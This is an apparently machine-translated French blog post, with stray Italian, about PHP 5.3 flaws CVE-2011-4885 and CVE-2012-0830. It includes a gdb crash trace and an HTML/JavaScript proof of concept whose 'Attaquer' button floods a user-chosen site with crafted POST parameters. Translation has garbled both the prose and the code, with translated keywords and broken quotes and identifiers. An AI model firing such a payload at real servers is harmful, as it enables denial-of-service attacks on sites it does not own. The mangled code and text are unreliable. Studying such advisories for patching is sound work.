PHP 5.3.* aime vulnérabilités DOS
Presque tous partie de la CVE-2011-4885 PHP Hashtables Déni de Service che questo dit:
PHP avant 5.3.9 calcule les valeurs de hachage pour les paramètres de formulaire sans restreindre la capacité de déclencher des collisions de hachage prévisible, qui permet à des attaquants distants afin de causer un déni de service (La consommation CPU) en envoyant de nombreux paramètres artisanaux.
Avec la mise à niveau vers la version PHP 5.3.9 introduit la correction d'un bug:
Max_input_vars Ajoutée directive visant à prévenir les attaques basées sur les collisions de hachage (Dmitry).
max_input_vars Mon exemple est configurable via le fichier php.ini:
Cette, max_input_vars pero a introduit un bug nuovo: CVE-2012-0830
Un attaquant distant peut envoyer grand nombre de requêtes POST artisanaux, ce qui pourrait
accident php ou exécuter du code arbitraire avec les permissions de l'utilisateur qui exécute
php.
cat test.php
<?php
print_r( $_GET );
?>
(gdb) run -d max_input_vars=1 /tmp/test.php a[]=1 v[]=2
Starting program: /usr/bin/php-cgi -d max_input_vars=1 /tmp/test.php a[]=1 v[]=2
[Thread debugging using libthread_db enabled]
PHP Warning: Unknown: Input variables exceeded 1. To increase the limit change max_input_vars in php.ini. in Unknown on line 0
PHP Warning: Unknown: Input variables exceeded 1. To increase the limit change max_input_vars in php.ini. in Unknown on line 0
Program received signal SIGSEGV, Segmentation fault.
0x000000000063cb5e in php_register_variable_ex ()
(gdb) ^CQuit
clshack@lb:~$ php-cgi --version
PHP 5.3.9-6~oneiric+2 (cgi-fcgi) (built: Feb 1 2012 15:51:44)
Copyright (c) 1997-2012 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2012 Zend Technologies
clshack@lb:~$
Lorsque la vulnérabilité est la suivante:
La vulnérabilité se produit lorsque le nombre de variables dépasse max_input_vars et la variable est une variable tableau (si (*p == '[»)). Au lieu d'un cas d'autre qui serait arrêter et retourner, le code est autorisé à poursuivre l'exécution. Le code continue de s'exécuter jusqu'à la ligne 207, la deuxième ligne en surbrillance. À la ligne 207, il est d'appeler un Z_ARRVAL_PP macro pour obtenir une référence à la table de hachage à jour. C'est là que l'exécution du code peut se produire.
Lorsque le poc pour un site distant, con il max_input_vars une 1000 [modifier par clshack v.v ]:
<!DOCTYPE html PUBLIC "- / / W3C / / DTD XHTML 1.0 Strict / / EN" «Http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd~~V "> <xmlns html = "http://www.w3.org/1999/xhtml" xml:lang = "fr" lang = "fr"> <head> <title>senza nome</title> <meta http-equiv = "content-type" content = "text / html;charset = utf-8" /> <script> // La preuve de concept simple pour le bogue de PHP (CVE-2012-0830) décrit par Stefan Esser (@ I0n1c) // http://thexploit.com/sec/critical-php-remote-vulnerability-introduced-in-fix-for-php-hashtable-collision-dos/ // Générer 1000 normale keytêted un tableau () { evil_obj var = {}; for (var i = 0; i < 1001; i ) { evil_obJe[i] = 1; } evil_obj[«Tuer[]'] = 'Kill'; retourner evil_obj; } // Sérialiser objet Javascript dans les données POST (obj) { var str = []; for(p var and Sharepour str.push(p + "=" + obj[p]); } retourner str.join("&"); } // Exécuter une attaque (site) { var = mauvaise serialsitebj(createEvilObj()); var xhr = new XMLHttpRequest(); xhr.open("POST&qusite site, vrai); xhr.setRequestHeader(,"Application / x-www-form-urlencoded '); xhr.setRequestHeader('Content-Length ", bad.length); xhr.send(mauvais); } </script> </head> <body> <input type = 'text' id = 'le sit»; value = 'http://www.example.com' name = 'le site' > <bouton onclick = 'attackSite(document.getElementById(«Site»).valeur);'> Attaquer</bouton> </body> corps/html>
Et peu de temps CVE-2011-4885 est disponible ici:
http://www.exploit-db.com/exploits/18296/
E poi c'è par PHP 5.4SVN-2012-02-03 non Buffer Overflow sulla htmlspecialchars funzione / entités:
Poc:
http://www.exploit-db.com/exploits/18458/~~V
Références:
http://pastebin.com/qWBrq0A3
http://thexploit.com/sec/critical-php-remote-vulnerability-introduced-in-fix-for-php-hashtable-collision-dos/
http://www.exploit-db.com
Related posts:
- RIPS:analyseur de code source pour les vulnérabilités dans PHP
- [WordPress]Paru le WP-SENTINEL 2.0
- Outils pour la recherche DLL Détournement Vulnérabilités
Cette entrée a été publiée le vendredi, 3 février, 2012 à 4:07 pm et est classé dans Piratage, Programmation. Vous pouvez suivre les réponses à cette entrée à travers le RSS 2.0 nourrir. Vous pouvez laisser une réponse, ou trackback à partir de votre propre site.
Tagged avec: deux • php






